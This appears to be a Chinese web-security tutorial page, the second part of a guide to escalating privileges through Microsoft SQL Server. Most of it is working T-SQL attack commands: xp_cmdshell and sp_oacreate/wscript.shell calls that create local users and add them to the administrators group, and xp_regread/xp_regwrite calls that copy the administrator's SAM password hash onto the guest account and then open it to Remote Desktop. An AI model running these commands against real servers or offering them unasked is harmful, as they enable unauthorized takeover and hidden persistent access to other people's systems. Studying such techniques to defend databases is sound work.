[WEB安全]MSSQL/SQL Server 提权手法详解(下)

[WEB安全]MSSQL/SQL Server 提权手法详解(下)3、添加用户

use master;
exec master..xp_cmdshell "net user 123 123/add";

[WEB安全]MSSQL/SQL Server 提权手法详解(下)

4、添加用户到管理员组

use master;
exec master..xp_cmdshell "net localgroup administrators 123 /add";

[WEB安全]MSSQL/SQL Server 提权手法详解(下)

[WEB安全]MSSQL/SQL Server 提权手法详解(下)

五、OLE提权过程

首先还是xp_cmd,当xp_cmd被删除或出错的情况下,利用SP_OACreate

OLE 这系列的存储过程有

sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod,sp_OASetProperty,sp_OAStop

1、打开SP_OACreate选项

use master;
EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'Ole Automation Procedures', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'show advanced options', 0;

[WEB安全]MSSQL/SQL Server 提权手法详解(下)

2、添加用户456

注意是没有回显的

[WEB安全]MSSQL/SQL Server 提权手法详解(下)

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 456 456 /add'

3、添加用户456至管理员权限组

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 456/add'

[WEB安全]MSSQL/SQL Server 提权手法详解(下)

六、xp_regread & xp_regwrite克隆账号

利用xp_regread 与 xp_regwrite两个存储过程脚本可以直接读取与写入注册表,所以我们可以利用这个两个存过过程来实现对“远程主机”的administrator超级管理员账号进行克隆,从而实现对目标主机的控制。

1、获取administrator的加密密码

xp_regread 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F4','F';

下图是navicat中的显示,并没有完全显示加密密码

[WEB安全]MSSQL/SQL Server 提权手法详解(下)

下图是在靶机sql server中执行语句的结果

[WEB安全]MSSQL/SQL Server 提权手法详解(下)

2、将加密密码赋值给guest账号

xp_regwrite 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F5','F','reg_binary',0x0300010000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFF7F0000000000000000F40100000102000011020000000000000000000001000000000000004A010C00;

[WEB安全]MSSQL/SQL Server 提权手法详解(下)

3、使用guest账号登录远程桌面管理


注意:此条件的使用需要guest 用户在“远程桌面用户组”,否则出现不允许远程登录的情况;

针对此问题,我们尝试将guest用户添加到“administrators”组或者“Remote Desktop Users”。

guest账户需要被启用;

guest 账户需要在“Remote Desktop Users”

解决如下:

exec master..xp_cmdshell 'net user guest /active:yes';

exec master..xp_cmdshell 'net localgroup "Remote Desktop Users" a /add';

[WEB安全]MSSQL/SQL Server 提权手法详解(下)

上一篇:【WEB安全】PHPMyAdmin后台GetShell姿势总结(下)


下一篇:SQLServer 2008数据库查看死锁、堵塞的SQL语句等